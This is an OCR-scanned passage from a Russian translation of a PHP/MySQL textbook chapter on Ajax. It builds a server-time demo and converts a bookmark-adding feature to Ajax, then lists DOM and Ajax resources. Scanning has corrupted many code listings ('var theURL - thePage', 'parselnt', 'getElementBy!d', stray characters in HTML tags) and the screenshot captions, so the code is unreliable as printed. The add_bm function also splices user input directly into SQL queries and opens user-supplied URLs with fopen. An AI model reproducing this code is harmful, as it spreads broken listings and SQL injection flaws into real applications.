Если код состояния равен 200, то создается новая переменная timeString. Ей при- сваивается значение, хранимое в элементе timestring XML-данных, которые были посланы серверным сценарием. Для этого используется метод getElementsByTagName ответа объекта: var timeString = myReq. responseXML.getElementsByTagName (’’timestring'’) [0] ; После этого нужно вывести это значение в некоторой области, определенной с помощью CSS в HTML-файле. В данном случае оно будет выведено в элементе доку- мента, определенном как showtime: document.getElementById( ’showtime') .innerHTML = timeString.childNodes[0] .nodeValue; Теперь сценарий ajax_functions. js завершен — см. листинг 34.2. Листинг 34.2. Содержимое сценария ajax functions, js function getXMLHTTPRequest() { var req = false; try { /* для Firefox */ req = new’ XMLHttpRequest(); } catch (err) { try { /* для некоторых версий IE */ req = new ActiveXObject ("MsXML2. XMLHTTP"); } catch (err) { try { /* для других версий IE */ req = new ActiveXObject("Microsoft.XMLHTTP"); } catch (err) { req = false; } } } return req; } function getServerTime() { var thePage = 'servertime.php'; myRand = parselnt (Math.random()*999999999999999); var theURL - thePage +"?rand="+myRand; myReq.open ("GET”, theURL, true); myReq.onreadystatechange = theHTTPResponse; myReq. send(null); } function theHTTPResponse() { if (myReq.readyState == 4) { if(myReq.status == 200) { var timeString = myReq.responseXML.getElementsByTagName("timestring") [0]; document. getElementById(' showtime’) .innerHTML = timeString.childNodes[0] .nodeValue; } } else { document.getElementByld('showtime') .innerHTML = ’<img src=’’ajax-loader.gif’7>'; } Глава 34. Создание приложений Web 2.0 с помощью Ajax 795
В следующем разделе мы закончим HTML-код и соберем вместе все части, состав- ляющие единое Ajax-приложение. Сборка Как уже было сказано в данной главе, Ajax представляет собой сочетание несколь- ких технологий. В предыдущих разделах мы уже использовали JavaScript и РНР — про- граммирование на стороне клиента и на стороне сервера — чтобы послать НТТР-за- прос и получить ответ. В этой технологической цепочке не хватает еще отображения, т.е. применения XHTML и CSS для получения видимых пользователем результатов. В листинге 34.3 приведено содержимое файла ajaxServerTime.html, который содержит стилевые элементы и вызовы JavaScript, вызывает PHP-сценарий, а затем получает ответ от сервера. Листинг 34.3. Содержимое файла ajaxServerTime.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/XHTMLl/DTD/XHTMLl-transitional.dtd"> <html XMLns=’’http://www.w3.org/1999/XHTML" XML:lang="en" dir="ltr" lang="en"> <head> <style> body { background: #fff; font-family: Verdana, sans-serif; font-size: 12pt; font-weight: normal; } .displaybox { width: 350px; height: 50px; background-color: #ffffff; border: 2px solid #000000; line-height: 2.5em; margin-top: 25px; font-size: 12pt; font-weight: bold; } </style> <script src="ajax _ functions.js" type="text/JavaScript"></script> <script type="text/JavaScript"> var myReq = getXMLHTTPRequest(); </script> </head> <body> -3 <div align="center"> <Ь1>Демонстрация Ajax</hl> <p align="center’’>4To6bi узнать текущее серверное время, поместите курсор над находящимся ниже прямоугольником.<br/> Страница не обновляется; изменяется лишь содержимое прямоугольника .</р> <div id="showtime" class="displaybox" onmouseover="JavaScript:getServerTime();"></div> </div> </body> </html> 796 Часть V. Реальные проекты на РНР и MySQL
Листинг начинается с объявления XHTML, а за ним идут дескрипторы <html> и <head>. В разделе документа head находятся стилевые элементы, заключенные, в де- скрипторы <style></style>. В данном случае определено только два элемента: фор- мат любого содержимого в теле документа и формат элемента, использующего класс displaybox. Этот класс определен как белый прямоугольник шириной 350 и высотой 50 пикселей с черной рамкой. Кроме того, любой содержащийся в нем текст будет иметь высоту 12 пунктов. После стилевых элементов, но все еще в разделе head, нахо- дится ссылка на библиотеку JavaScript-функций: <script src="ajax_functions.js" type="text/JavaScript"></script> Сразу за ним создается новый объект XMLHTTPRequest с именем myReq: <script type="text/JavaScript"> var myReq = getXMLHTTPRequest(); </script> После этого раздел head заканчивается, и начинается раздел body. Он содержит только текст XHTML. Выровненный по центру элементе div содержит текст заголов- ка страницы (“Демонстрация Ajax”), а также инструкцию пользователю (“Чтобы уз- нать текущее серверное время, поместите курсор над находящимся ниже прямоуголь- ником”). Нужное действие выполняется в атрибутах элемента div с идентификатором showtime — точнее, в обработчике события onmouseover: <div id="showtime" class="displaybox" onmouseover="JavaScript:getServerTime();"></div> Использование события onmouseover означает, что если пользователь поместит курсор в область, определенную элементом div с идентификатором showtime, то вызы- вается JavaScript-функция getServerTime (). В теле этой функции выполняется запрос к серверу, принимается ответ, и результирующий текст выводится в элементе div. На заметку! JavaScript-функции можно вызывать и несколькими другими способами, например, с помощью события onclick кнопки на форме. На рис. 34.1, 34.2 и 34.3 показана последовательность событий при действии этих сценариев. Страница Aj axServerTime. html не перегружается никогда, меняется лишь содержимое элемента div с идентификатором showtime. SHozifeHrefox gew History Bookmarks Joob Цйр * C л- htfc: /Доса#хкХ?рЧхп^/34/а}ах5ег^в-Тяпе.Ь&п! Демонстрация Ajax Чтобы узнать текущее серверное время, поместите курсор над находящимся ниже прямоугольником. Страница не обновляется; изменяется лишь содержимое прямоугольника. Рис. 34.1. На первоначально загруженной странице AjaxServerTime.html находится инструкция и пустой прямоугольник Глава 34. Создание приложений Web 2.0 с помощью Ajax 797
. ,a. и W® Не Edit View History, goofonarfcs Toois Heip jtSjfab * -.-_ ..... WW * С т£г- < 3 http-.j/AoQ^ost^phws^/34/ajaxServerT*me..htmi • ; Демонстрация Ajax Чтобы узнать текущее серверное время, поместите курсор над находящимся ниже прямоугольником. Страница не обновляется; изменяется лишь содержимое прямоугольника. Done Рис. 34.2. Пользователь перемещает курсор в область прямоуголь- ника и запускает запрос; значок означает, что объект загружается IB Hozife Firefox Не View' History gookmerks lods Help * C? \ft_f [J ht^:/jtocabost^^pmys<^/34/ajaxServerTirne.ht!Ti Демонстрация Ajax Чтобы узнать текущее серверное время, поместите курсор над находящимся ниже прямоугольником. Страница не обновляется; изменяется лишь содержимое прямоугольника. Время: 13:07:16, дата: Apr 07, 2009. Рис. 34.3. Данные, полученные с сервера, выводятся в элементе div с идентификатором showtime. Повторное перемещение курсора в область прямоугольника вызывает сценарий еще раз. Добавление элементов Ajax в созданные ранее проекты Ни один из проектов из части V данной книги не готов к применению Ajax в пер- воначальном виде. Каждый из этих проектов состоит из ряда отправок данных формы, и перезагрузок страницы. И хотя на страницах присутствуют динамические элементы, на эру Web 2.0 это совершенно не похоже. Однако включение в эти проекты элементов Ajax сдвинуло бы ваше внимание от основ создания веб-приложений с помощью РНР и MySQL. То есть нужно сначала нау- читься ходить, а уже потом бегать. Но теперь вы уже знаете, как’бегать — ну, хотя бы трусцой — и можно начинать думать о включении элементов Ajax в эти или вновь соз- даваемые приложения. 798 Часть V. Реальные проекты на РНР и MySQL
Мышление разработчика на Ajax работает примерно так: каковы будут различные действия пользователя, и какие события страницы будут вызваны этими действиями? Например, нужно ли переходить к обработке данных формы только после щелчка на кнопке или же смена активного элемента формы (текстовое поле, вариант выбо- ра, флажок) должна вызывать асинхронный запрос к веб-серверу? После того как вы определитесь с действиями, которые следует отрабатывать, можно начать писать JavaScript-функции с вызовами PHP-сценариев, посылающие запросы на сервер и при- нимающие результаты от него. В последующих разделах вы добавите кое-какие элементы Ajax в существующие сценарии, созданные ранее в данной книге. Добавление элементов Ajax в приложение PHPBookmark В главе 27 было создано приложение PHPBookmark. Оно требовало, чтобы поль- зователь зарегистрировался и вошел на сайт, и только после этого он мог сохранять закладки и получать рекомендации о закладках других пользователей, которые могли бы понравиться и ему. Это приложение уже создано и состоит из нескольких тесно взаимосвязанных PHP-сценариев и библиотек функций. Поэтому вначале необходимо подумать, как можно добавить в этот конгломерат дополнительные файлы — стилевые таблицы, JavaScript-функции или РНР, которые будут выполнять серверную обработку действий пользователя. В данном случае ответ прост: нужно создать отдельный файл для сти- лей и отдельный файл для всех JavaScript-функций. А затем следует добавить фрагмент кода в существующие PHP-сценарии из главы 27 для включения этих внешних файлов, когда это нужно, и вызовы самих JavaScript-функций. Если понадобится создать допол- нительные PHP-сценарии, они тоже будут храниться отдельно от уже существующих файлов приложения. После того как мы разобрались, что делать с новыми файлами, нужно подумать, ка- кие действия пользователя будут обрабатываться с помощью Ajax. Конечно, первыми кандидатами на обработку в стиле Ajax являются регистрация и входная аутентифи- кация пользователя, но для экономии места мы выбрали действия пользователя при добавлении новых и редактировании существующих закладок. Придется внести изменения в существующие файлы приложений. Для работы в этой главе лучше всего скопировать файлы из главы 27 в новый каталог и все измене- ния выполнять в этом каталоге, оставив старую версию PHPBookmark без изменений. На заметку! Если вы захотите перевести на Ajax часть приложения, отвечающую за регистрацию, вы можете задействовать JavaScript-функцию, которая вызывает PHP-сценарий для проверки, хранится ли уже в системе имя и почтовый адрес данного пользователя. Такая функция должна выдавать со- общение об ошибке, если данные о пользователе уже имеются, и блокировать регистрационную форму до исправления ошибок. Создание дополнительных файлов Как уже было сказано, мы будем добавлять новые файлы в уже существующую структуру приложения. Эти файлы будут заполняться в последующих разделах, но удобно создать их уже сейчас. Глава 34. Создание приложений Web 2.0 с помощью Ajax 799
Допустим, нам понадобится, по крайней мере, два новых файла: со стилевой таб- лицей и с библиотекой JavaScript-функций. Вот и создайте прямо сейчас два новых файла с именами new ss. css и new ajax. j s. Файл стилевой таблицы (new ss. css) может пока оставаться пустым, т.к. мы еще не определились с новыми стилями, а файл new ajax. j s должен содержать функцию getXMLHTTPRequest (), созданную ра- нее в данной главе для создания нового экземпляра объекта XMLHTTPRequest в любом браузере. Их уже можно выгрузить на сервер, хотя потом туда будут добавляться но- вые фрагменты. После этого нужно добавить ссылку на оба этих файла в одну из существующих функций отображения для приложения PHPBookmark. Тогда будут всегда доступ- ны стили из стилевой таблицы и функции из библиотеки JavaScript. Вспомните гла- ву 27: функция, (в частности) управляющая выводом HTML-заголовка, называется do_html_header () и находится в файле output_fns .php. Новая версия этой функции приведена в листинге 34.4. Листинг 34.4. Усовершенствованная версия функции do_html_header () со ссылками на новую стилевую таблицу и библиотеки JavaScript-функций function do _ html _ header ($title) { // Вывод HTML-заголовка ?> <htrnl> <head> <title><?php echo $title;?x/title> Cstyle> body { font-family: Arial, Helvetica, sans-serif; font-size: 13px; } li, td { font-family: Arial, Helvetica, sans-serif; font-size: 13px; } hr { color: #3333cc; } a { color: #000000; } </style> clink rel=”stylesheet" type=’’text/css” href=’’new _ ss.css”/> Cscript src="new _ ajax.js" type=’’text/JavaScript”X/script> </head> <body> cimg src=’’bookmark.gif’’ а1Ь=’’Логотип PHPbookmark" border="0" align="left" valign="bottom" height="55" width="57" /> chl>PHPbookmarkc/hl> chr /> c?php if($title) { do _ html _ heading ($title); } Если выгрузить новую стилевую таблицу, библиотеку JavaScript-функций, файл output fns .php и открыть любую страницу в системе PHPBookmark, то новые фай- лы будут включены без проблем. Теперь нужно действительно добавить в эти файлы дополнительные стили и сценарии и создать функциональность Ajax. 800 Часть V. Реальные проекты на РНР и MySQL
Добавление закладок в стиле Ajax Пока добавление закладки происходит, если пользователь вводит URL закладки и щелкает на кнопке отправки данных формы. Этот щелчок вызывает другой РНР-сце- нарий, который добавляет закладку, возвращает пользователя в список закладок и по- казывает, что новая закладка успешно добавлена. В общем, происходит перезагрузка страницы. В стиле Ajax появляется форма для добавления закладки, но кнопка отправки дан- ных вместо перезагрузки страницы инициализирует фоновое выполнение JavaScript- функции с вызовом PHP-сценария, где в базу данных добавляется новый элемент и воз- вращается ответ пользователю — и все это не покидая уже загруженную страницу. Для такой новой функциональности нужны изменения в функции display add bm f огш () в файле output_fns .php. Новый вариант функции показан в листинге 34.5. Здесь убрано действие при от- правке формы, к входному полю добавлено значение id, и изменены атрибуты для эле- мента кнопки. Кроме того, добавлен вызов JavaScript-функции getXMLHTTPRequest (). Листинг 34.5. Усовершенствованная версия функции display add bm form() function display _ add _ bm _ form() { // Вывод формы для ввода новой закладки ?> <script type="text/JavaScript"> var myReq = getXMLHTTPRequest (); </script> <form> ctable width="250" cellpadding="2" cellspacing="O" bgcolor="#cccccc"> <tr> <td>HdBan закладка :</td> ctdxinput type="text" name="new _ url" value="http://" size="30" maxlength="255’7>c/td> c/tr> ctr> ctd colspan="2" align="center"> cinput type="button" value="flo6aBHTb закладку" onClick="JavaScript: addNewBookmark (); "/> c/td> c/tr> c/table> c/form> c?php I \ Посмотрите внимательно на элемент кнопки: cinput type="button” value=”flo6aBHTb закладку" onClick="JavaScript:addNewBookmark ();"/> При щелчке на этой кнопке обработчик события onClick вызывает JavaScript- функцию addNewBookmark (). Данная функция посылает запрос на сервер — точнее, в PHP-сценарий, который пытается вставить запись в базу данных. Код этой функции приведен в листинге 34.6. Глава 34. Создание приложений Web 2.0 с помощью Ajax 801
Листинг 34.6. JavaScript-функция addNewBookmark () function addNewBookmark() { var url = "add _ bms.php"; var params = "new_url=" + encodeURI(document.getElementBy!d('new _ url') .value); myReq. open ("POST", url, true); myReq.setRequestHeader("Content-type", "applicat ion/x-www-f orm-urlencoded") ; myReq.setRequestHeader("Content-length", params.length); myReq.setRequestHeader("Connection", "close") ; myReq.onreadystatechange = addBMResponse; myReq. send (params); } Эта функция похожа на функцию get Serve г Time (), приведенную выше в данной главе, поскольку похож и выполняемый процесс: создание переменных, отправка дан- ных в PHP-сценарий и вызов функции для обработки ответа сервера. Приведенная ниже строка создает пару “имя-значение” из имени поля формы и значения, введенного пользователем: var params = "new_url=" + encodeURI(document.getElementByld('new_url').value); В последней строке функции значение params посылается в серверный РНР-сце- нарий: myReq.send(params); Но перед отправкой значений на сервер посылаются три заголовка запроса, что- бы сервер знал, как обрабатывать данные, посланные в запросе POST: myReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); myReq.setRequestHeader("Content-length", params.length); myReq.setRequestHeader("Connection", "close"); Теперь нужно создать JavaScript-функцию обработки серверного запроса, которая называется addBMResponse: myReq.onreadystatechange = addBMResponse; Этот код тоже похож на созданную ранее в этой главе функцию theHTTPResponse; он приведен в листинге 34.7. Листинг 34.7. JavaScript-функция addBMResponse () function addBMResponse () { if (myReq. readyState == 4) { if (myReq. status == 200) { result = myReq. responseText; document.getElementBy!d('displayresult') .innerHTML = result; } else { alert ('Ошибка в запросе'); } } } Эта функция вначале проверяет состояние объекта. Если его процесс завершен, то проверяется, равен ли код возврата сервера значению 200 (ОК). При любом дру- гом коде возврата выдается сообщение “Ошибка в запросе”. Все другие ответы полу- чаются при выполнении сценария add bms.php; они выводятся в разделе div с id, 802 Часть V. Реальные проекты на РНР и MySQL
равным displayresult. Кстати, этот id определен в стилевой таблице new ss.css следующим образом: #displayresult { background: #fff; } В PHP-функции display add bm f orm () после закрывающего дескриптора </form> добавлена следующая строка кода — это и есть раздел div, в котором выво- дится результат, полученный с сервера: <div id="displayresult"></div> Теперь нужно внести изменения в существующий код add bms. php. Дополнительные изменения в существующем коде Если попытаться добавить закладку без каких-либо изменений в сценарии add- bms. php, то сам процесс проверки прав доступа пользователя и добавления заклад- ки будет проходить нормально. Но отображаемый результат будет выглядеть просто ужасно (см. рис. 34.4): дважды выведены заголовок, логотип и раздел завершающих ссылок, есть и другие проблемы. Рис. 34.4. Добавление ссылки перед изменением сценария add bms.php В версии приложения PHPBookmark без поддержки Ajax форма находится на одной странице, результат ввода данных — на другой, и все элементы страницы каждый раз перезагружаются. Но в среде с поддержкой Ajax хотелось бы добавить новую закладку, получить результат от сервера, и продолжить (или нет) добавлять другие закладки без Глава 34. Создание приложений Web 2.0 с помощью Ajax 803
перезагрузки каких-либо страничных элементов. Для этого в код add bms. php нужно внести некоторые изменения. Исходный код приведен в листинге 34.8. ~ Листинг 34.8. Исходный код сценария add bms.php <?php require _ once (’bookmark _ fns.php’); session __ start (); // Создание короткого имени переменной $new _ url = $ _ POST['new _ url']; do _ html _ header ('Добавление закладок'); try { check _ valid _ user();‘ if ([filled _ out($_ POST)) { throw new Exception ('Форма не заполнена до конца.'); } // Проверка формата URL if (strstr ($new _ url, 'http://') === false) { $new _ url = 'http://'.$new _ url; } // Проверка правильности URL if (! (@fopen($new _ url, 'r'))) { throw new Exception ('Неверный URL.'); } // Добавление закладки add _ bm($new _ url); echo 'Закладка добавлена.'; // Получение закладок, сохраненных данным пользователем if ($url _ array = get _ user _ urls($ _‘SESSION ['valid _ user'])) { display _ user _ urls($url _ array); } } catch (Exception $e) { echo $e->getMessage(); } display _ user _ menu(); do _ html _ footer (); ?> Первая строка этого сценария задействует все компоненты файла bookmark fns .php. Если посмотреть на содержимое файла bookmark_fns .php, то мы увидим, что в нем вызывается еще ряд файлов: <?php // Этот файл можно включить во все наши файлы — таким образом // любой файл будет содержать все наши функции и исключения require_once('data_valid_fns.php'); require_once('db_fns.php'); require_once('user_auth_fns.php'); require_once('output_fns.php'); require_once('url_fns.php'); ?> 804 Часть V. Реальные проекты на РНР и MySQL
В Ajax-версии добавления закладок вам могут понадобиться все элементы этих фай- лов или только их часть, но комментарий в начале гласит: любой файл будет содержать все наши функции и исключения. При переходе от ряда динамических страниц к целост- ной функциональности Ajax лучше иметь несколько липкних элементов, чем удалить какие-то функции, если еще нет полной уверенности, что они не нужны. Так что ос- тавьте первую строку сценария add bms. php без изменений. Вторая строка начинает или продолжает сеанс пользователя — ее тоже следует ос- тавить как есть: даже в Ajax-версии этого действия имеет смысл не нарушать безопас- ность. Аналогично лучше оставить и третью строку. Она присваивает переменной с коротким именем $new_url значение POST, посланное в запросе: $new_url = $_POST[’new_url']; И вот, наконец, мы добрались до места, где уже можно кое-что удалить, а именно: do_html_header('Добавление закладок'); Поскольку мы уже находимся на странице (add__bm_form.php), содержащей ин- формацию HTTP-заголовка, не стоит повторять его снова: мы ведь не будем перехо- дить на другую страницу. Из-за этого повторения и возникает два набора графиче- ских элементов и заголовков, показанных на рис. 34.4. По аналогичным причинам можно удалить две строки в конце add bms. php: display_user_menii () ; do_html_footer(); Если удалить эти элементы, выгрузить файл на сервер и попытаться добавить еще одну закладку, то результат будет более похож на ожидаемый, но он все еще не идеа- лен. На рис. 34.5 показан вывод приложения после выполнения всех рассмотренных изменений. Рис. 34.5. Добавление закладки после первого этапа редактирования сценария add__bms. php Глава 34. Создание приложений Web 2.0 с помощью Ajax 805
У нас по-прежнему повторяется сообщение о состоянии пользователя (имя, с ко- торым он вошел в систему), но все выглядит уже не так плохо. Теперь нужно удалить повторяющиеся сообщения и изменить кое-какие другие функции, связанные с исклю- чениями, чтобы они вписались в среду Ajax. Чтобы устранить повторение сообщения с именем пользователя, удалите из файла add bms. php строку check_valid_user(); Проверка допустимости данного пользователя уже была выполнена при загрузке страницы add bms form.php; мы бы не попали на Ajax-страницу, если бы пользова- тель не прошел эту проверку. Затем необходимо удалить внешний блок try и обработку исключений — для того, чтобы сценарий смог доработать до конца, где выдается список сохраненных пользователем URL-адресов. Это означает, что нужно внести некоторые уточнения, чтобы при необходимости правильно выводить тексты сообщений об ошибках. Преобразованная версия сценария add bms .php показана в листинге 34.9. Листинг 34.9. Усовершенствованная версия сценария add bms.php <?php require _ once (’bookmark _ f ns.php’); session _ start(); // Создание короткого имени переменной $new _ url = $_ POST [’new _ url’]; // Проверка, заполнена ли форма if (1 filled _ out($_ POST)) { // He полностью echo "<p class=\"warn\"><X>opMa не заполнена до конца.</р>”; } else { // Полностью - проверка и, если нужно, исправление формата URL if (strstr($new _ url, ’http://’) === false) { $new _ url = ’http://’.$new _ url; } // Продолжение проверки правильности URL if (! (@fopen($new _ url, ’r’))) { echo "<p с1азз=\"иагп\">Неверный URL.</p>"; } else { // URL верен - переходим к добавлению add _ bm($new _ url); echo "<р>3акладка добавлена.</p>"; } } // Независимо от состояния текущего запроса - // получение уже сохраненных данным пользователем закладок if ($url _ array = get _ user _ urls($ _ SESSION[’valid _ user’])) { display _ user _ urls($url _ array); } ?> Эта версия сценария проходит тот же логический путь через возможные события, но выводит соответствующее сообщение об ошибке без повторения других элементов страницы. 806 Часть V. Реальные проекты на РНР и MySQL
Первая проверка — заполнена ли форма. Если она не заполнена, между формой добавления закладки и текущим списком сохраненных пользователем закладок выво- дится сообщение об ошибке. Такой ответ приведен на рис. 34.6. Вторая проверка — имеет ли URL правильный вид. Если не имеет, строка преоб- разуется в верный URL, и выполняется переход к следующему этапу. На этом следую- щем этапе открывается сокет, после чего проверяется, верен ли URL. Если не верен, между формой добавления закладки и текущим списком сохраненных пользователем закладок выводится сообщение об ошибке. А если URL верен, он добавляется в суще- ствующий список сохраненных пользователем закладок. На рис. 34.7 показан ответ при попытке добавления неверного URL. Рис. 34.6. Попытка добавить пустое значение Вдобавлен-езакладок-НолйаТ^ Не gcfit gew History Bookmarks Tools Help . * О t’sj : h^:/^ocahos^ipmysql/34/atMJwnJbrwMihp H PHPbookmark Добавить закладку Вы вошли под именем neverbeen Новая закладка http J/awb.acffids.neV Добавитьзакладку UKI.. Закладка Удалить? http//vyvw yahoo com hW/ww.qQO<aiecom ' и' ‘V. httpy/www-.phpnet Г! Главная | Добавит^ закладку | | Сменить пароль | PgKQMQHflорать адреса мне | Выаод Done Рис. 34.7. Попытка добавить неверный URL Глава 34. Создание приложений Web 2.0 с помощью Ajax 807
В конце, независимо от ошибок, обнаруженных при добавлении URL, выводятся уже сохраненные пользователем закладки. Этот результат приведен на рис. 34.8. Be £dit gew History Qxtawks Joois tfclp ‘ «Sb * C *7 http:/A>caihost^^Y^ Добавить закладку Вы вошли под именем neverbeen htip:/7wwwrnysqLcom/ Эаклвйк»* хЖШлюь? Попытка добавить http /Avww rnysql сот/ Закладка добавлена Глзандя {Добавить закладку I Уйзод ; wkjMvmlow ь мэре< ина I Выход Рис. 34.8. Успешное добавление верного URL Базовая функциональность, нужная для добавления закладок, успешно переведе- на на рельсы Ajax, однако кое-какие элементы еще требуют доработки. Например, функция add_bm() в файле url__fns .php содержит некоторые исключения, которые должны обрабатываться по-другому, чтобы генерировать сообщение об ошибке в этой новой системе. В листинге 34.10 приведена существующая функция add bm (). Листинг 34.10.,Существующая функция addjbm() из файла url fns.php function add _ bm($new _ url) { // Добавление новой закладки в базу данных echo "Попытка добавления ".htmlspecialchars ($new _ url) ."<br />"; $valid_user = $_ SESSIONS valid _ user’]; $conn = db _ connect (); // Проверка, существует ли уже такая закладка $result = $conn->query("select * from bookmark where username='$valid _ user’ and bm _ URL='".$new _ url."’"); if ($result && ($result->num _ rows>0)) { throw new Exception (’Такая закладка уже существует.’); } // Вставка новой закладки if (!$conn->query("insert into bookmark values (”’.$valid _ user."’, ”'.$new _ url."’)")) { thrdw new Except ion ('Невозможно добавить закладку.’); } return true; } 'П'" 808 Часть V, Реальные проекты на РНР и MySQL
В этой ситуации все, что нужно сделать — заменить исключения для генерирова- ния сообщений об ошибках и продолжать обработку (вывод информации). Это мож- но сделать, изменив два отдельных блока if на следующее: if ($result && ($result->num_rows>0)) { echo "<p class=\"warn\’’>TaKan закладка уже существует,</p>"; } else { // Вставка новой закладки if (!$conn->query("insert into bookmark values ( '".$valid_user. "' , $new_url) { echo "<p с1азз=\"магп\">Невозможно добавить закладку.</p>"; } else { echo "<р>3акладка добавлена.</p>"; } } Эта версия сценария по-прежнему проходит тот же логический путь через воз- можные события и выводит необходимые сообщения об ошибках. После проверки, существует ли такая закладка у данного пользователя, либо выводится сообщение об ошибке (между формой добавления закладки и текущим списком сохраненных поль- зователем закладок), либо выполняется попытка добавления данной закладки. При невозможности добавления закладки снова выводится сообщение об ошиб- ке между формой добавления закладки и текущим списком сохраненных пользовате- лем закладок. А при успешном добавлении закладки выводится сообщение “Закладка добавлена”. Этот оператор echo удален из сценария add bm.php и вставлен в нужное место в функции add bm (), т.к. иначе даже при неудачной попытке после сообщения “Невозможно добавить закладку” все равно появится сообщение “Закладка добавлена”. Результат этих изменений показан на рис. 34.9. Яе Edit Wew History gpotanarks look htto:/Axalx>stAjf^xnysd/34/adci_bnifbrm.php Добавить закладку Вы вошли под именем neverbeen. Новая закладка http.7/www.yahoo.com С Добавить закладку Попытка добавить http://www yahoo.com у Done Рис. 34.9. Попытка добавления уже существующей закладки Глава 34. Создание приложений Web 2.0 с помощью Ajax 809
Дополнительные изменения в приложении PHPBookmark Изменение процесса добавления закладок в пользовательский интерфейс в стиле Ajax — лишь первое из многих изменений, которые можно внести в данное приложе- ние. Следующим логическим шагом может быть предоставление возможности удале- ния закладок. Этот процесс можно выполнить примерно так, как описано ниже. Убрать ссылку “Удалить закладку” из концовки страницы. Вызывать новую JavaScript-функцию, когда пользователь устанавливает флажок “Удалить?” рядом с какой-либо закладкой. Изменить сценарий delete bm.php так, чтобы его можно было вызвать с помо- щью новой JavaScript-функции, завершить процесс удаления и возвратить сооб- щение пользователю. Внести все дополнительные изменения, необходимые для правильного выпол- нения всех действий и вывода всех сообщений в новом пользовательском ин- терфейсе. При наличии готовой структуры эти изменения можно выполнить лишь на основе информации, приведенной в данной главе. Однако в последующих разделах приведены ссылки на ресурсы, содержащие гораздо больше информации о создании Ajax-сайтов. Не забывайте, что Ajax является набором технологий, которые, работая вместе, создают более удобный пользовательский интерфейс. При этом часто приходится полностью заново перестраивать приложение с самого начала — ведь вы уже знаете, что вы можете сделать, когда все кусочки мозаики лягут на свои места. Дополнительные источники информации Информация, приведенная в данной главе, лишь слегка затрагивает создание Ajax- приложений. В новой книге — Sams Teach Yourself Ajax, JavaScript, and PHP All in One — го- раздо подробнее рассматривается вся информация из этой главы (и кое-что еще), и она может служить следующим логическим шагом после освоения материала данной главы. Имеется множество веб-сайтов, посвященных всем технологиям, составляю- щим Ajax-приложения, а также сторонние кодовые библиотеки, которые позволят вам продвинуться в разработке без необходимости изобретать все нужные колеса. Дополнительная информация по объектной модели документов (DOM) Эта книга посвящена программированию на РНР на стороне сервера и использо- ванию MySQL в качестве реляционной базы данных для динамических приложений, и поэтому в ней не рассматриваются технологии на стороне клиента: XHTML, CSS, JavaScript и объектная модель документов (Document Object Model — DOM). Если вы не знакомы с DOM, это будет вашим основным направлением развития при расшире- нии знаний о разработке полнофункциональных Ajax-приложений. Многие, если не все, ваши Ajax-приложения будут работать с DOM с помощью JavaScript. И будете ли вы работать с элементами отображения, хронологией посеще- ний браузера или местоположением окна — для создания эффективной пользователь- ской среды, которая является целью всех Ajax-приложений, абсолютно необходимо полное понимание объектов и свойств, имеющихся в DOM. 810 Часть V. Реальные проекты на РНР и MySQL
Внушительные объемы хорошей информации о DOM находятся на следующих сайтах. Технические отчеты W3C об объектной модели документов — http: / /www. w3. org/DOM/DOMTR. Домашняя страница DOM Scripting Task Force — http://domscripting.webstandards.org/. Документация no DOM для разработчиков проекта Mozilla — http://developer.mozilla.org/en/docs/DOM (кроме того, по адресу http://developer.mozilla.org/en/docs/JavaScript имеется хорошая доку- ментация по JavaScript). JavaScript-библиотеки для Ajax-приложений Ajax-приложения начали появляться с 2005 г., когда Джесс Джеймс Гарретт (Jesse James Garrett) написал заметку, в которой впервые употребил термин Ajax, поскольку “при рассмотрении этого подхода работы с клиентами понадобилось выражение, бо- лее короткое, чем ‘Асинхронный JavaScript + CSS + DOM + XMLHttpRequest’”. С тех пор прошло достаточно времени для сторонних библиотек JavaScript-функций, кото- рые позволяют разработчикам создавать всевозможные Ajax-приложения. На заметку! Прочтите заметку Гарретта “Ajax: A New Approach to Web Applications” (“Ajax: новый подход к веб-прило- жениям”) по адресу http://www.adaptivepath.com/ideas/essays/archives/000385.php. Ниже перечислены некоторые популярные библиотеки, хотя, покопавшись в лю- бом веб-сайте, посвященном разработке Ajax-приложений, вы без труда найдете мно- жество других. Выбор одной или нескольких их них сократит время вашей разработ- ки, т.к. вам не придется заново изобретать велосипед. Проект Prototype JavaScript Framework упрощает работу с DOM и использование объекта XMLHTTPRequest при создании сложных Ajax-приложений. Подробнее см. по адресу http://www.prototypejs.org/. Инструментальный набор с открытым исходным кодом Dojo содержит базовые JavaScript-функции, а также среду создания графических управляющих элемен- тов и механизм для эффективной упаковки и доставки кода конечному пользо- вателю. Подробнее см. по адресу http: //dojotoolkit.org/. Облегченная библиотека MochiKit содержит функции для работы с DOM и форматирования выходных данных для конечного пользователя. Функции и решения, документация для разработчиков и примеры готовых проектов на основе MochiKit делают ее достойной рассмотрения. Подробнее см. по адресу http://mochikit.сот/. Веб-сайты разработчиков на Ajax Лучший способ научиться разрабатывать Ajax-приложения — попробовать самому создать такое приложение. Собирайте фрагменты кода, думайте, как интегрировать отдельные части в ваши существующие приложения, и учитесь у тех, кто уже успел поработать с данными технологиями. Глава 34. Создание приложений Web 2.0 с помощью Ajax 811
Ниже перечислены некоторые ресурсы, которые могут облегчить вам начало раз- работки Ajax-приложений: Портал разработчика Ajaxian — содержит новости, статьи, учебники и примеры кода для новичков и опытных разработчиков. Подробнее см. по адресу http: / / ajaxian.com/. Сайт Ajax Matters содержит подробные статьи о разработке Ajax-приложений. Подробнее см. по адресу http: //www. aj axmatters. com/. Еще один портал разработчика — Ajax Lines — содержит ссылки и статьи по всем аспектам Ajax. Подробнее см. по адресу http: //www.ajaxlines.сот/. 812 Часть V. Реальные проекты на РНР и MySQL
VI Приложения В ЭТОЙ ЧАСТИ... Приложение А. Инсталляция РНР и MySQL Приложение Б. Ресурсы в Интернете
